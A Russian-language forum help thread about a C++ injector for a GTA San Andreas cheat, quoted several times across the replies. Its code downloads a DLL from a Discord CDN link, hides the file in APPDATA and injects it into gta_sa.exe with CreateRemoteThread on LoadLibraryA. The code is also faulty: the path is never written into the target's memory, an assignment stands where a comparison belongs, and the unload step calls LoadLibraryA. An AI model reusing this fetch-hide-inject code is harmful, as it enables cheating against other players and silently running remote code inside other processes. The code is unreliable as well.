Херот@ в коде c++! помогайте!

underpl1g

Участник
Автор темы
84
8
Сделал инжектор по гайду @CleanLegend , решил его модернизировать и добавил выбор инжекта или выгрузки через switch case. Но если выбрать вариант 1 - инжект, так-же вывод и воспроизводит код выгрузки, не пойму что за херня. Помогите исправить.
Вот что получается с этой херней :
Screenshot_10.png

Хотя должно идти одно действие какое я выберу. Код ниже!

code:
cout << "Укажите что вы хотите сделать(1,2): "; cin >> str;
    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
    HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
    DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
    switch (str) {
    case 1:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №1 = INJECT чита в игру. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        string appdata = getenv("APPDATA"); // получаем папку "appdata"
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        appdata += "\\dump.dll"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое || appdata.c_str() - путь.
        cout << "Доступ к папкам успешно получен, ожидайте следующих указаний. " << endl;
        HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/5009153/9724998/cheat.dll", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки
        BOOL result = SetFileAttributes(appdata.c_str(), FILE_ATTRIBUTE_HIDDEN);
        if (hr == S_OK) // если наша, программа скачана, то
        {
            cout << "Файл успешно скачан, начинаем загрузку чита в игру...\n" << endl;
            const char* DllPath = appdata.c_str(); // указываем пусть до DLL
            size_t SizePatch = strlen(DllPath) + 1; // получаем размер строки до пути
            LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, SizePatch, MEM_COMMIT, PAGE_READWRITE); // выделяем память в gta_sa по строке
            HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)Adr, pDllPath, 0, 0);  // Вызываем LoadLibraryA в gta_sa.exe с аргументом "C:\\test.dll" и возвращаем адрес нашего потока
            WaitForSingleObject(hThread, INFINITE); // Ожидаем завершение нашего потока(ждем завершения DllMain с аргументом DLL_PROCESS_ATTACH)
            CloseHandle(hThread); // закрываем дескриптор потока
            VirtualFreeEx(hProcess, pDllPath, SizePatch, MEM_RELEASE); // освобождаем выделенную память
            CloseHandle(hProcess); // закрываем дескриптор процесса
            cout << "Ну что, иди ебашить на каптик. Успешная загрузка и связь с игрой!" << endl;
            break;
        }
        else {
            cout << "Произошла ошибка при скачке файла/инжекте в игру. Обратитесь к администратору." << endl;
        }
    }
    case 2:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №2 = UNINJECT чита из игры. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        HANDLE hProcessc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernell = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernell, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        HMODULE module = GetModuleHandleExtern("dump.dll", GetProcId("gta_sa.exe"));
        HANDLE hThreadd = CreateRemoteThread(hProcessc, 0, 0, (LPTHREAD_START_ROUTINE)Adr, module, 0, 0);
        WaitForSingleObject(hThreadd, INFINITE);
        cout << "Чит успешно выгружен из игры. Закройте приложение." << endl;
        CloseHandle(hThreadd);
        CloseHandle(hProcessc);
        break;
    }
 

frit

Известный
389
174
Сделал инжектор по гайду @CleanLegend , решил его модернизировать и добавил выбор инжекта или выгрузки через switch case. Но если выбрать вариант 1 - инжект, так-же вывод и воспроизводит код выгрузки, не пойму что за херня. Помогите исправить.
Вот что получается с этой херней : Посмотреть вложение 88297
Хотя должно идти одно действие какое я выберу. Код ниже!

code:
cout << "Укажите что вы хотите сделать(1,2): "; cin >> str;
    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
    HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
    DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
    switch (str) {
    case 1:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №1 = INJECT чита в игру. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        string appdata = getenv("APPDATA"); // получаем папку "appdata"
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        appdata += "\\dump.dll"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое || appdata.c_str() - путь.
        cout << "Доступ к папкам успешно получен, ожидайте следующих указаний. " << endl;
        HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/5009153/9724998/cheat.dll", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки
        BOOL result = SetFileAttributes(appdata.c_str(), FILE_ATTRIBUTE_HIDDEN);
        if (hr == S_OK) // если наша, программа скачана, то
        {
            cout << "Файл успешно скачан, начинаем загрузку чита в игру...\n" << endl;
            const char* DllPath = appdata.c_str(); // указываем пусть до DLL
            size_t SizePatch = strlen(DllPath) + 1; // получаем размер строки до пути
            LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, SizePatch, MEM_COMMIT, PAGE_READWRITE); // выделяем память в gta_sa по строке
            HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)Adr, pDllPath, 0, 0);  // Вызываем LoadLibraryA в gta_sa.exe с аргументом "C:\\test.dll" и возвращаем адрес нашего потока
            WaitForSingleObject(hThread, INFINITE); // Ожидаем завершение нашего потока(ждем завершения DllMain с аргументом DLL_PROCESS_ATTACH)
            CloseHandle(hThread); // закрываем дескриптор потока
            VirtualFreeEx(hProcess, pDllPath, SizePatch, MEM_RELEASE); // освобождаем выделенную память
            CloseHandle(hProcess); // закрываем дескриптор процесса
            cout << "Ну что, иди ебашить на каптик. Успешная загрузка и связь с игрой!" << endl;
            break;
        }
        else {
            cout << "Произошла ошибка при скачке файла/инжекте в игру. Обратитесь к администратору." << endl;
        }
    }
    case 2:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №2 = UNINJECT чита из игры. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        HANDLE hProcessc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernell = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernell, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        HMODULE module = GetModuleHandleExtern("dump.dll", GetProcId("gta_sa.exe"));
        HANDLE hThreadd = CreateRemoteThread(hProcessc, 0, 0, (LPTHREAD_START_ROUTINE)Adr, module, 0, 0);
        WaitForSingleObject(hThreadd, INFINITE);
        cout << "Чит успешно выгружен из игры. Закройте приложение." << endl;
        CloseHandle(hThreadd);
        CloseHandle(hProcessc);
        break;
    }
это ведь не весь код
 
D

deleted-user-204957

Гость
Сделал инжектор по гайду @CleanLegend , решил его модернизировать и добавил выбор инжекта или выгрузки через switch case. Но если выбрать вариант 1 - инжект, так-же вывод и воспроизводит код выгрузки, не пойму что за херня. Помогите исправить.
Вот что получается с этой херней : Посмотреть вложение 88297
Хотя должно идти одно действие какое я выберу. Код ниже!

code:
cout << "Укажите что вы хотите сделать(1,2): "; cin >> str;
    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
    HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
    DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
    switch (str) {
    case 1:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №1 = INJECT чита в игру. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        string appdata = getenv("APPDATA"); // получаем папку "appdata"
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernel = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernel, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        appdata += "\\dump.dll"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое || appdata.c_str() - путь.
        cout << "Доступ к папкам успешно получен, ожидайте следующих указаний. " << endl;
        HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/5009153/9724998/cheat.dll", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки
        BOOL result = SetFileAttributes(appdata.c_str(), FILE_ATTRIBUTE_HIDDEN);
        if (hr == S_OK) // если наша, программа скачана, то
        {
            cout << "Файл успешно скачан, начинаем загрузку чита в игру...\n" << endl;
            const char* DllPath = appdata.c_str(); // указываем пусть до DLL
            size_t SizePatch = strlen(DllPath) + 1; // получаем размер строки до пути
            LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, SizePatch, MEM_COMMIT, PAGE_READWRITE); // выделяем память в gta_sa по строке
            HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)Adr, pDllPath, 0, 0);  // Вызываем LoadLibraryA в gta_sa.exe с аргументом "C:\\test.dll" и возвращаем адрес нашего потока
            WaitForSingleObject(hThread, INFINITE); // Ожидаем завершение нашего потока(ждем завершения DllMain с аргументом DLL_PROCESS_ATTACH)
            CloseHandle(hThread); // закрываем дескриптор потока
            VirtualFreeEx(hProcess, pDllPath, SizePatch, MEM_RELEASE); // освобождаем выделенную память
            CloseHandle(hProcess); // закрываем дескриптор процесса
            cout << "Ну что, иди ебашить на каптик. Успешная загрузка и связь с игрой!" << endl;
            break;
        }
        else {
            cout << "Произошла ошибка при скачке файла/инжекте в игру. Обратитесь к администратору." << endl;
        }
    }
    case 2:
    {
        setColor(15, 12);
        cout << "                   Вы успешно выбрали функцию под №2 = UNINJECT чита из игры. Ожидайте дальнейших указаний.                     " << endl;
        setColor(15, 0);
        HANDLE hProcessc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId("gta_sa.exe"));
        HMODULE kernell = GetModuleHandleA("Kernel32.dll"); // Получаем адрес kernel32
        DWORD Adr = (DWORD)GetProcAddress(kernell, "LoadLibraryA"); // получаем адрес функции LoadLibrary
        HMODULE module = GetModuleHandleExtern("dump.dll", GetProcId("gta_sa.exe"));
        HANDLE hThreadd = CreateRemoteThread(hProcessc, 0, 0, (LPTHREAD_START_ROUTINE)Adr, module, 0, 0);
        WaitForSingleObject(hThreadd, INFINITE);
        cout << "Чит успешно выгружен из игры. Закройте приложение." << endl;
        CloseHandle(hThreadd);
        CloseHandle(hProcessc);
        break;
    }
break в первый кейс
 

underpl1g

Участник
Автор темы
84
8
break в первый кейс
Screenshot_11.png

все ровно дичь, поставил там break, файл скачался - а выдало ошибку 0_0


govno-code:
appdata += "\\dump.dll"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое || appdata.c_str() - путь.
        cout << "Доступ к папкам успешно получен, ожидайте следующих указаний. " << endl;
        HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/75009153/082169724998/dump.dll", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки
        BOOL result = SetFileAttributes(appdata.c_str(), FILE_ATTRIBUTE_HIDDEN);
        if (hr = S_OK) {
            cout << "Файл успешно скачан, начинаем загрузку чита в игру...\n" << endl;
            const char* DllPath = appdata.c_str(); // указываем пусть до DLL
            size_t SizePatch = strlen(DllPath) + 1; // получаем размер строки до пути
            LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, SizePatch, MEM_COMMIT, PAGE_READWRITE); // выделяем память в gta_sa по строке
            HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)Adr, pDllPath, 0, 0);  // Вызываем LoadLibraryA в gta_sa.exe с аргументом "C:\\test.dll" и возвращаем адрес нашего потока
            WaitForSingleObject(hThread, INFINITE); // Ожидаем завершение нашего потока(ждем завершения DllMain с аргументом DLL_PROCESS_ATTACH)
            CloseHandle(hThread); // закрываем дескриптор потока
            VirtualFreeEx(hProcess, pDllPath, SizePatch, MEM_RELEASE); // освобождаем выделенную память
            CloseHandle(hProcess); // закрываем дескриптор процесса
            cout << "Ну что, иди ебашить на каптик. Успешная загрузка и связь с игрой!" << endl;
        }
        else {
            cout << "Произошла ошибка при скачке файла/инжекте в игру. Обратитесь к администратору." << endl;
        }
        break;
    }
 

underpl1g

Участник
Автор темы
84
8
так файл с дискорда никогда не скачается, так как у незалогиненого юзера не будет к нему доступа, загружай на другой файлообменник.
странно, до кейсов все качалось...
 

underpl1g

Участник
Автор темы
84
8
так файл с дискорда никогда не скачается, так как у незалогиненого юзера не будет к нему доступа, загружай на другой файлообменник.
с гитхаба такая же ошибка... походу не в фл ошибка